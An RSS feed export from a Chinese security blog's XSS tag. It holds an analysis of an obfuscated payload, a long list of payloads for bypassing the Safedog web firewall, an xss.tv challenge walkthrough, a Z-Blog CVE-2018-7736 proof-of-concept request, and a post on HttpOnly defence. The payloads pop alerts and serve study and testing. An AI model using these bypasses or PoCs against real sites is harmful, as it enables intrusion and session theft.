<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>XSS &#8211; ChaBug安全</title>
	<atom:link href="/tags/xss/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 06 Jul 2019 17:29:47 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>一个XSS payload的分析</title>
		<link>/web/660.html</link>
					<comments>/web/660.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:29:47 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[payload]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[分析]]></category>
		<guid isPermaLink="false">/?p=660</guid>

					<description><![CDATA[前提：不能使用字母和数字，使用jsfuck加密发现过滤”+“号 &#8211; 原始Payload [][`${`${{}}`[!![]&#60;&#60;!![]&#60;&#60;!!...]]></description>
										<content:encoded><![CDATA[<p>前提：不能使用字母和数字，使用jsfuck加密发现过滤”+“号 &#8211; 原始Payload</p>
<div id="crayon-5d1f42a490fbb079084663" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<pre class="lang:default decode:true ">[][`${`${{}}`[!![]&lt;&lt;!![]&lt;&lt;!![]|!![]]}${`${{}}`[!!{}&lt;&lt;![]]}${`${[][~[]]}`[!!{}&lt;&lt;![]]}${`${!![][~[]]}`[(!![]&lt;&lt;!![])|!![]]}${`${![][~[]]}`[!{}&lt;&lt;![]]}${`${![][~[]]}`[!!{}&lt;&lt;![]]}${`${![][~[]]}`[!!{}&lt;&lt;!![]]}${`${{}}`[!![]&lt;&lt;!![]&lt;&lt;!![]|!![]]}${`${![][~[]]}`[!{}&lt;&lt;![]]}${`${{}}`[!!{}&lt;&lt;![]]}${`${![][~[]]}`[!!{}&lt;&lt;![]]}`][`${`${{}}`[!![]&lt;&lt;!![]&lt;&lt;!![]|!![]]}${`${{}}`[!!{}&lt;&lt;![]]}${`${[][~[]]}`[!!{}&lt;&lt;![]]}${`${!![][~[]]}`[(!![]&lt;&lt;!![])|!![]]}${`${![][~[]]}`[!{}&lt;&lt;![]]}${`${![][~[]]}`[!!{}&lt;&lt;![]]}${`${![][~[]]}`[!!{}&lt;&lt;!![]]}${`${{}}`[!![]&lt;&lt;!![]&lt;&lt;!![]|!![]]}${`${![][~[]]}`[!{}&lt;&lt;![]]}${`${{}}`[!!{}&lt;&lt;![]]}${`${![][~[]]}`[!!{}&lt;&lt;![]]}`](`${`${!![][~[]]}`[!!{}&lt;&lt;![]]}${`${!![][~[]]}`[!!{}&lt;&lt;!![]]}${`${![][~[]]}`[(!![]&lt;&lt;!![])|!![]]}${`${![][~[]]}`[!!{}&lt;&lt;![]]}${`${![][~[]]}`[!{}&lt;&lt;![]]}(${!!{}&lt;&lt;![]})`)()</pre>
<p>&nbsp;</p>
</div>
</div>
<p>首先复制全部到谷歌中尝试运行 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1dqNxXoz1gK0jSZLeq6z9kVXaA.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img class="aligncenter" src="https://ae01.alicdn.com/kf/HTB1dqNxXoz1gK0jSZLeq6z9kVXaA.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a>其实是构造了一个函数</p>
<p>把代码分成三部分 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1eQVOXX67gK0jSZPfq6yhhFXar.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB1eQVOXX67gK0jSZPfq6yhhFXar.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>依次查看内容 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1OkxyXbj1gK0jSZFuq6ArHpXac.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB1OkxyXbj1gK0jSZFuq6ArHpXac.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>实际执行的语句为 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1UZxzXkH0gK0jSZPiq6yvapXaD.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB1UZxzXkH0gK0jSZPiq6yvapXaD.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>再次分割（拿第一部分为例） <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB144xzXlr0gK0jSZFnq6zRRXXal.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB144xzXlr0gK0jSZFnq6zRRXXal.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>取第一部分为例 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1akJyXoD1gK0jSZFGq6zd3FXaa.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB1akJyXoD1gK0jSZFGq6zd3FXaa.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>那么为什么会是C</p>
<p>列出基础字符 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1lMlzXhn1gK0jSZKPq6xvUXXam.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB1lMlzXhn1gK0jSZKPq6xvUXXam.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>峰回路转</p>
<div class="post-image"><a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB1lMlzXhn1gK0jSZKPq6xvUXXam.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB1lMlzXhn1gK0jSZKPq6xvUXXam.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></div>
<p>对比字母为C的和基础字符，发现一开始是一样的，那么后面的<code>[!![]&lt;&lt;!![]&lt;&lt;!![]|!![]]</code>是什么 <a class="fancybox" title="一个XSS payload的分析" href="https://ae01.alicdn.com/kf/HTB10pdzXkT2gK0jSZPcq6AKkpXai.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ae01.alicdn.com/kf/HTB10pdzXkT2gK0jSZPcq6AKkpXai.jpg" alt="一个XSS payload的分析-ChaBug安全" /></a></p>
<p>是一个数组的格式，结合基础字符查看，相当于<code>${{}[5]</code> <code>${{}</code>内容为<code>[object Object]</code> <em>相当于</em><code>[object Object]</code>里面的第五个字符，就是<code>c</code></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/660.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>xss bypass safedog</title>
		<link>/web/534.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 15 Aug 2018 04:34:55 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=534</guid>

					<description><![CDATA[核心@X1r0z原创，总是有惊奇的脑回路。 &#160; ref-xss 绕过 payload 格式 &#60;[WORD] on[EVENT]=[EVAL]&#62;[TEXT] 在...]]></description>
										<content:encoded><![CDATA[<p><a href="https://i.pinimg.com/originals/5a/dd/fc/5addfc249e363065f74878269821913f.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://i.pinimg.com/originals/5a/dd/fc/5addfc249e363065f74878269821913f.jpg" width="549" height="480" /></a></p>
<blockquote><p>核心<a href="https://exp10it.cn/2018/08/15/2018-08-15-xss-bypass-safedog/">@X1r0z</a>原创，总是有惊奇的脑回路。</p></blockquote>
<p>&nbsp;</p>
<h2 id="ref-xss">ref-xss</h2>
<p>绕过 payload 格式<br />
<span class="lang:default decode:true crayon-inline ">&lt;[WORD] on[EVENT]=[EVAL]&gt;[TEXT]</span><br />
在随机单词的标签内加上 on 事件, 最后在标签外加上文本.</p>
<p>因为 html 的松散性, 导致<span class="lang:default decode:true crayon-inline ">&lt;sb&gt;sb&lt;/sb&gt;</span> 都能被解析成标签, 并且支持触发类似于<span class="lang:default decode:true crayon-inline ">onclick onmouseover</span> 的事件</p>
<p>特别小众的标签也可以绕过安全狗的规则, 比如<span class="lang:default decode:true crayon-inline ">acronym address</span> 翻翻 w3c 的教程能找出好多</p>
<h2 id="dom-xss">dom-xss</h2>
<p>安全狗不存在 dom-xss 的拦截规则</p>
<p>基本上没有尖括号就可以绕过了, 或者使用上面的 payload</p>
<p>由于上下文是在 JavaScript 的环境内, 会有很多的变形</p>
<pre class="lang:default decode:true ">";alert(0);//
";document.write("\u003cscript\u003ealert(0)\u003c\u002fscript\u003e");//</pre>
<p>&nbsp;</p>
<p>总之先闭合 然后直接弹窗 or 用<span class="lang:default decode:true crayon-inline ">docment.write</span> 写标签</p>
<h2 id="payloads">payloads</h2>
<pre class="lang:default decode:true ">&lt;a onclick="javascript:alert(0)"&gt;a
&lt;javascript onclick="javascript:alert(0)"&gt;a
&lt;b onclick="javascript:alert(0)"&gt;a
&lt;abbr onclick="javascript:alert(0)"&gt;a
&lt;acronym onclick="javascript:alert(0)"&gt;a
&lt;address onclick="javascript:alert(0)"&gt;a
&lt;applet onclick="javascript:alert(0)"&gt;a
&lt;article onclick="javascript:alert(0)"&gt;a
&lt;xss onclick="javascript:alert(0)"&gt;a
&lt;aside onclick="javascript:alert(0)"&gt;a
&lt;bdi onclick="javascript:alert(0)"&gt;a
&lt;bdo onclick="javascript:alert(0)"&gt;a
&lt;big onclick="javascript:alert(0)"&gt;a
&lt;button onclick="javascript:alert(0)"&gt;a
&lt;del onclick="javascript:alert(0)"&gt;a
&lt;details onclick="javascript:alert(0)"&gt;a
&lt;div onclick="javascript:alert(0)"&gt;a
&lt;dfn onclick="javascript:alert(0)"&gt;a
&lt;dl onclick="javascript:alert(0)"&gt;a
&lt;dt onclick="javascript:alert(0)"&gt;a
&lt;h1 onclick="javascript:alert(0)"&gt;a
&lt;h2 onclick="javascript:alert(0)"&gt;a
&lt;h3 onclick="javascript:alert(0)"&gt;a
&lt;h4 onclick="javascript:alert(0)"&gt;a
&lt;h5 onclick="javascript:alert(0)"&gt;a
&lt;h6 onclick="javascript:alert(0)"&gt;a
&lt;header onclick="javascript:alert(0)"&gt;a
&lt;hr onclick="javascript:alert(0)"&gt;a
&lt;html onclick="javascript:alert(0)"&gt;a
&lt;kbd onclick="javascript:alert(0)"&gt;a
&lt;map onclick="javascript:alert(0)"&gt;a
&lt;mark onclick="javascript:alert(0)"&gt;a
&lt;menu onclick="javascript:alert(0)"&gt;a
&lt;menuitem onclick="javascript:alert(0)"&gt;a
&lt;meter onclick="javascript:alert(0)"&gt;a
&lt;q onclick="javascript:alert(0)"&gt;a
&lt;var onclick="javascript:alert(0)"&gt;a
&lt;xmp onclick="javascript:alert(0)"&gt;a
&lt;addons onclick="javascript:alert(0)"&gt;a
&lt;ascii onclick="javascript:alert(0)"&gt;a
&lt;aspx onclick="javascript:alert(0)"&gt;a
&lt;java onclick="javascript:alert(0)"&gt;a
&lt;mobile onclick="javascript:alert(0)"&gt;a
&lt;go onclick="javascript:alert(0)"&gt;a
&lt;alibaba onclick="javascript:alert(0)"&gt;a
&lt;baidu onclick="javascript:alert(0)"&gt;a
&lt;google onclick="javascript:alert(0)"&gt;a
&lt;github onclick="javascript:alert(0)"&gt;a
&lt;acu onclick="javascript:alert(0)"&gt;a
&lt;mail onclick="javascript:alert(0)"&gt;a
&lt;a onmouseover="javascript:alert(0)"&gt;a
&lt;javascript onmouseover="javascript:alert(0)"&gt;a
&lt;b onmouseover="javascript:alert(0)"&gt;a
&lt;abbr onmouseover="javascript:alert(0)"&gt;a
&lt;acronym onmouseover="javascript:alert(0)"&gt;a
&lt;address onmouseover="javascript:alert(0)"&gt;a
&lt;applet onmouseover="javascript:alert(0)"&gt;a
&lt;article onmouseover="javascript:alert(0)"&gt;a
&lt;xss onmouseover="javascript:alert(0)"&gt;a
&lt;aside onmouseover="javascript:alert(0)"&gt;a
&lt;bdi onmouseover="javascript:alert(0)"&gt;a
&lt;bdo onmouseover="javascript:alert(0)"&gt;a
&lt;big onmouseover="javascript:alert(0)"&gt;a
&lt;button onmouseover="javascript:alert(0)"&gt;a
&lt;del onmouseover="javascript:alert(0)"&gt;a
&lt;details onmouseover="javascript:alert(0)"&gt;a
&lt;div onmouseover="javascript:alert(0)"&gt;a
&lt;dfn onmouseover="javascript:alert(0)"&gt;a
&lt;dl onmouseover="javascript:alert(0)"&gt;a
&lt;dt onmouseover="javascript:alert(0)"&gt;a
&lt;h1 onmouseover="javascript:alert(0)"&gt;a
&lt;h2 onmouseover="javascript:alert(0)"&gt;a
&lt;h3 onmouseover="javascript:alert(0)"&gt;a
&lt;h4 onmouseover="javascript:alert(0)"&gt;a
&lt;h5 onmouseover="javascript:alert(0)"&gt;a
&lt;h6 onmouseover="javascript:alert(0)"&gt;a
&lt;header onmouseover="javascript:alert(0)"&gt;a
&lt;hr onmouseover="javascript:alert(0)"&gt;a
&lt;html onmouseover="javascript:alert(0)"&gt;a
&lt;kbd onmouseover="javascript:alert(0)"&gt;a
&lt;map onmouseover="javascript:alert(0)"&gt;a
&lt;mark onmouseover="javascript:alert(0)"&gt;a
&lt;menu onmouseover="javascript:alert(0)"&gt;a
&lt;menuitem onmouseover="javascript:alert(0)"&gt;a
&lt;meter onmouseover="javascript:alert(0)"&gt;a
&lt;q onmouseover="javascript:alert(0)"&gt;a
&lt;var onmouseover="javascript:alert(0)"&gt;a
&lt;xmp onmouseover="javascript:alert(0)"&gt;a
&lt;addons onmouseover="javascript:alert(0)"&gt;a
&lt;ascii onmouseover="javascript:alert(0)"&gt;a
&lt;aspx onmouseover="javascript:alert(0)"&gt;a
&lt;java onmouseover="javascript:alert(0)"&gt;a
&lt;mobile onmouseover="javascript:alert(0)"&gt;a
&lt;go onmouseover="javascript:alert(0)"&gt;a
&lt;alibaba onmouseover="javascript:alert(0)"&gt;a
&lt;baidu onmouseover="javascript:alert(0)"&gt;a
&lt;google onmouseover="javascript:alert(0)"&gt;a
&lt;github onmouseover="javascript:alert(0)"&gt;a
&lt;acu onmouseover="javascript:alert(0)"&gt;a
&lt;mail onmouseover="javascript:alert(0)"&gt;a</pre>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>xss tv 挑战笔记</title>
		<link>/web/503.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 04 Aug 2018 09:35:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[xsstv]]></category>
		<category><![CDATA[挑战]]></category>
		<guid isPermaLink="false">/?p=503</guid>

					<description><![CDATA[test.xss.tv 最短 xss 平台的题目, 一共20关. 19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象. 这个相对于之前的 xss cha...]]></description>
										<content:encoded><![CDATA[<p><a href="http://test.xss.tv/" target="_blank" rel="noopener">test.xss.tv</a></p>
<p><a href="/wp-content/uploads/2018/08/2018080417374423.png"><img loading="lazy" class="aligncenter size-full wp-image-504" src="/wp-content/uploads/2018/08/2018080417374423.png" alt="" width="502" height="394" /></a></p>
<p>最短 xss 平台的题目, 一共20关.</p>
<p>19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象.</p>
<p>这个相对于之前的 xss challenges 真是一点 Hint 都没有, 不过可以显示出 payload 的长度.</p>
<h2 id="level-1">level 1</h2>
<p>最简单的</p>
<p><code>&lt;svg onload=alert(0)&gt;</code></p>
<h2 id="level-2">level 2</h2>
<p>输出在 value 内, 闭合标签后再插入 payload</p>
<p>也可以用 on 事件, 不过这是下一题的考点</p>
<p><code>"&gt;&lt;img src=0 onerror=alert(0)&gt;</code></p>
<h2 id="level-3">level 3</h2>
<p>单引号闭合</p>
<p><code>1' onmouseover='alert(0)</code></p>
<h2 id="level-4">level 4</h2>
<p>双引号闭合</p>
<p><code>" onmouseover="alert(0)</code></p>
<h2 id="level-5">level 5</h2>
<p>on 事件被转义成 o_n, script 标签也被转义成 scr_ipt</p>
<p>换一个姿势</p>
<p><code>"&gt;&lt;a href=javascript:alert(0)&gt;</code></p>
<h2 id="level-6">level 6</h2>
<p>on href src 都被加上了下划线</p>
<p>大小写绕过</p>
<p><code>&lt;a HrEf="javascript:alert(0)"&gt;click&lt;/a&gt;</code></p>
<h2 id="level-7">level 7</h2>
<p>这题没有转义, 只是把 on href src script 替换成空, 但只替换了一次</p>
<p><code>"&gt;&lt;a hrhrefef="javascscriptript:alert(0)"&gt;click&lt;/a&gt;</code></p>
<h2 id="level-8">level 8</h2>
<p>关键字都被加上了下划线, 用 html 的自解码机制就可以绕过</p>
<p><code>javasc&amp;#114;ipt:alert(0)</code></p>
<h2 id="level-9">level 9</h2>
<p>keyword 中没有 <code>http://</code> 就显示为非法链接</p>
<p>其它的都和上题一样</p>
<p><code>javasc&amp;#114;ipt:alert(&amp;#34;http://&amp;/#34;)</code></p>
<h2 id="level-10">level 10</h2>
<p>查看源代码发现有三个隐藏参数, t_link t_history t_sort, 其中只有 t_sort 可控</p>
<p>由于标签是 hidden 的就不能触发 on 事件, 所以要改回 text 状态</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-11">level 11</h2>
<p>隐藏参数多了个 t_referer, 抓包修改 referer 即可</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-12">level 12</h2>
<p>抓包修改 user-agent</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-13">level 13</h2>
<p>打开后发现多了个 cookie <code>user=call me maybe</code>, 直接修改 cookie 重新访问页面</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-14">level 14</h2>
<p>这题做的很迷, 打开后直接就是 401 认证, 乱输几个 payload 也没屌用</p>
<p>在网上看了 writeup 后才发现是图片 exif 信息的 xss</p>
<p>估计网站已经关闭了, 就直接跳过吧</p>
<h2 id="level-15">level 15</h2>
<p>查看源代码发现 ng-include 这个参数, 百度一会发现这是 angularjs 的语句, 好像和 php 的文件包含差不多</p>
<p>src 直接包含第一关的内容传参 keyword 为 payload, 并没啥屌用, 后来才发现是 script 标签包含 angularjs 所在的网站被墙了, 恰好又是我大谷歌的地址</p>
<p>包含的时候要加上单引号</p>
<p><code>'level1.php?keyword=&lt;svg onload=alert(0)&gt;'</code></p>
<h2 id="level-16">level 16</h2>
<p>反斜杠空格什么的都被替换成了 <code>&amp;nbsp;</code>, 两个换行符就可以干掉它</p>
<p><code>&lt;svg%0a%0aonload=alert(0)&gt;</code></p>
<h2 id="level-17">level 17</h2>
<p>写的是 xsf, 其实只要在 arg02 后面加上 payload 就行了</p>
<p><code>1 onmouseover=alert(0)</code></p>
<h2 id="level-18">level 18</h2>
<p>同 level 17</p>
<p><code>1 onmouseover=alert(0)</code></p>
<h2 id="level-19-level-20">level 19 level 20</h2>
<p>这两关的 swf 文件明显比之前那两个假的大好多啊.</p>
<p><del>懒得一批</del></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[XSS防御]HttpOnly之四两拨千斤</title>
		<link>/web/477.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 29 Jul 2018 04:57:55 +0000</pubDate>
				<category><![CDATA[安全运维]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[防御]]></category>
		<guid isPermaLink="false">/?p=477</guid>

					<description><![CDATA[今天看了《白帽子讲web安全》一书，顺便记录一下，HttpOnly的设置 httponly的设置值为 TRUE 时，使得Javascript无法获取到该值，有效地防御了XSS打管理...]]></description>
										<content:encoded><![CDATA[<blockquote><p>今天看了《白帽子讲web安全》一书，顺便记录一下，HttpOnly的设置</p></blockquote>
<p>httponly的设置值为 <code>TRUE</code> 时，使得Javascript无法获取到该值，有效地<span class="wpcom_tag_link"><a href="/tags/%e9%98%b2%e5%be%a1" title="防御" target="_blank">防御</a></span>了<span class="wpcom_tag_link"><a href="/tags/xss" title="XSS" target="_blank">XSS</a></span>打管理员的 <code>cookie</code></p>
<p>这里以本博客作为测试对象，实现了一下。</p>
<p>找到网站 <code>/include/lib/loginauth.php</code> 文件，如下修改：<br />
<a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-35fb80bf95a38cf0.png" target="_blank" rel="noopener"><img src="https://upload-images.jianshu.io/upload_images/6661013-35fb80bf95a38cf0.png" alt="代码修改" /></a></p>
<p>这里解释一下：在PHP&gt;5.2版本中支持HttpOnly设置，可以直接在php.ini文件中设置，个人不推荐这种方式，推荐如上图所述在设置cookie时设置。</p>
<p><code>setcookie()</code> 这个函数现支持7个参数，第七个参数是设置 <code>httponly</code> 的属性，第六个是是否开启 <code>https</code> 传输。</p>
<p>这样设置以后，就能有效地防止XSS获取用户的<code>重要cookie信息</code>。</p>
<p>效果如下：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-37290054bb68b852.png" target="_blank" rel="noopener"><img src="https://upload-images.jianshu.io/upload_images/6661013-37290054bb68b852.png" alt="httponly开启" /></a></p>
<p>使用<code>alert(document.cookie)</code>在控制台弹窗一下，发现并没有我们的登录信息cookie键值对：</p>
<p><a class="swipebox" href="https://upload-images.jianshu.io/upload_images/6661013-b78a0691e5ba37e8.png" target="_blank" rel="noopener"><img src="https://upload-images.jianshu.io/upload_images/6661013-b78a0691e5ba37e8.png" alt="无敏感登录信息cookie" /></a></p>
<hr />
<p>注意：<code>httponly</code>只是阻止了<code>js</code>获取<code>httponly</code>值为<code>true</code>所对应的<code>cookie</code>键值队，并不能拦截XSS，想要拦截XSS除了浏览器的filter以外，更多的是程序本身做好参数的过滤。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Excel 开始支持使用 JavaScript 编写自定义函数</title>
		<link>/news/413.html</link>
					<comments>/news/413.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 10 May 2018 13:24:14 +0000</pubDate>
				<category><![CDATA[安全资讯]]></category>
		<category><![CDATA[XSS]]></category>
		<guid isPermaLink="false">/?p=355</guid>

					<description><![CDATA[Excel 开始支持使用 JavaScript 编写自定义函数 概述 微软为 Excel 增加了使用 JavaScript 编写自定义函数的支持。 示例 比如一个功能：两数之和加 ...]]></description>
										<content:encoded><![CDATA[<p>Excel 开始支持使用 JavaScript 编写自定义函数</p>
<ol>
<li>概述</li>
</ol>
<p>微软为 Excel 增加了使用 JavaScript 编写自定义函数的支持。</p>
<ol>
<li>示例</li>
</ol>
<p>比如一个功能：两数之和加 42：<br />
<img title="1.jpg" src="/wp-content/uploads/2018/05/4061487215.jpg" alt="1.jpg" /><br />
我们可以使用 JavaScript 编写：</p>
<pre><code>function ADD42(a, b) {
    return a + b + 42;
}</code></pre>
<p>然后就像使用其它 Excel 内置函数一样，这样调用：</p>
<pre><code>=CONTOSO.ADD42(1,2)</code></pre>
<ol>
<li>注意事项</li>
</ol>
<p>这个功能还没有在正式版发布。</p>
<blockquote><p>Custom [JavaScript] functions are now available in Developer Preview on Windows, Mac, and Excel Online</p></blockquote>
<p>我们可以通过安装 Office (build 9325 on Windows or 13.329 on Mac) 并加入 Office Insider（默认这个特性是禁用的，只有加入了 Insider 才会开启）。<br />
在 GitHub 上 clone 这个 repo OfficeDev/Excel-Custom-Functions，按照 Readme 文件可以体验此功能，或者直接在 Excel 中编写 JavaScript 自定义函数。</p>
<blockquote><p>以后利用office怕是连脚本宏都不用了，直接js挖矿</p></blockquote>
]]></content:encoded>
					
					<wfw:commentRss>/news/413.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Z-Blog 1.5.1.1740 XSS漏洞</title>
		<link>/web/395.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 08 Apr 2018 14:01:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[zblog]]></category>
		<category><![CDATA[最新版]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=324</guid>

					<description><![CDATA[CVE : CVE-2018-7736 poc: ZC_BLOG_SUBNAME参数的POC: http://localhost/z-blog/zb_system/cmd.php?...]]></description>
										<content:encoded><![CDATA[<p>CVE : CVE-2018-7736</p>
<h1>poc:</h1>
<h2><code>ZC_BLOG_SUBNAME</code>参数的POC:</h2>
<pre><code>http://localhost/z-blog/zb_system/cmd.php?act=SettingSav&amp;token=2c7ca9a4c1c3d856e012595ca878564f</code></pre>
<p>post_data:</p>
<pre><code>ZC_BLOG_HOST=http%3A%2F%2Flocalhost%2Fz-blog%2F&amp;ZC_PERMANENT_DOMAIN_ENABLE=&amp;ZC_PERMANENT_DOMAIN_WITH_ADMIN=&amp;ZC_BLOG_NAME=admin&amp;ZC_BLOG_SUBNAME=Good%20Luck%20To%20You!tluf3%22%3e%3cscript%3ealert(1)%3c%2fscript%3euk095&amp;ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&amp;ZC_TIME_ZONE_NAME=Asia%2FShanghai&amp;ZC_BLOG_LANGUAGEPACK=zh-cn&amp;ZC_UPLOAD_FILETYPE=jpg%7Cgif%7Cpng%7Cjpeg%7Cbmp%7Cpsd%7Cwmf%7Cico%7Crpm%7Cdeb%7Ctar%7Cgz%7Csit%7C7z%7Cbz2%7Czip%7Crar%7Cxml%7Cxsl%7Csvg%7Csvgz%7Crtf%7Cdoc%7Cdocx%7Cppt%7Cpptx%7Cxls%7Cxlsx%7Cwps%7Cchm%7Ctxt%7Cpdf%7Cmp3%7Cmp4%7Cavi%7Cmpg%7Crm%7Cra%7Crmvb%7Cmov%7Cwmv%7Cwma%7Cswf%7Cfla%7Ctorrent%7Capk%7Czba%7Cgzba&amp;ZC_UPLOAD_FILESIZE=2&amp;ZC_DEBUG_MODE=&amp;ZC_GZIP_ENABLE=&amp;ZC_SYNTAXHIGHLIGHTER_ENABLE=1&amp;ZC_CLOSE_SITE=&amp;ZC_DISPLAY_COUNT=10&amp;ZC_DISPLAY_SUBCATEGORYS=1&amp;ZC_PAGEBAR_COUNT=10&amp;ZC_SEARCH_COUNT=20&amp;ZC_MANAGE_COUNT=50&amp;ZC_COMMENT_TURNOFF=&amp;ZC_COMMENT_AUDIT=&amp;ZC_COMMENT_REVERSE_ORDER=&amp;ZC_COMMENTS_DISPLAY_COUNT=100&amp;ZC_COMMENT_VERIFY_ENABLE=</code></pre>
<h2><code>ZC_UPLOAD_FILETYPE</code> 参数的POC:</h2>
<p>post_data:</p>
<pre><code>ZC_BLOG_HOST=http://localhost/z-blog/&amp;ZC_PERMANENT_DOMAIN_ENABLE=&amp;ZC_PERMANENT_DOMAIN_WITH_ADMIN=&amp;ZC_BLOG_NAME=admin&amp;ZC_BLOG_SUBNAME=Good+Luck+To+You!&amp;ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&amp;ZC_TIME_ZONE_NAME=Asia/Shanghai&amp;ZC_BLOG_LANGUAGEPACK=zh-cn&amp;ZC_UPLOAD_FILETYPE=jpg|gif|png|jpeg|bmp|psd|wmf|ico|rpm|deb|tar|gz|sit|7z|bz2|zip|rar|xml|xsl|svg|svgz|rtf|doc|docx|ppt|pptx|xls|xlsx|wps|chm|txt|pdf|mp3|mp4|avi|mpg|rm|ra|rmvb|mov|wmv|wma|swf|fla|torrent|apk|zba|gzbauckek&quot;&gt;alert(1)ekkgh&amp;ZC_UPLOAD_FILESIZE=2&amp;ZC_DEBUG_MODE=&amp;ZC_GZIP_ENABLE=&amp;ZC_SYNTAXHIGHLIGHTER_ENABLE=1&amp;ZC_CLOSE_SITE=&amp;ZC_DISPLAY_COUNT=10&amp;ZC_DISPLAY_SUBCATEGORYS=1&amp;ZC_PAGEBAR_COUNT=10&amp;ZC_SEARCH_COUNT=20&amp;ZC_MANAGE_COUNT=50&amp;ZC_COMMENT_TURNOFF=&amp;ZC_COMMENT_AUDIT=&amp;ZC_COMMENT_REVERSE_ORDER=&amp;ZC_COMMENTS_DISPLAY_COUNT=100&amp;ZC_COMMENT_VERIFY_ENABLE=</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>日一个毛片网站</title>
		<link>/web/351.html</link>
					<comments>/web/351.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
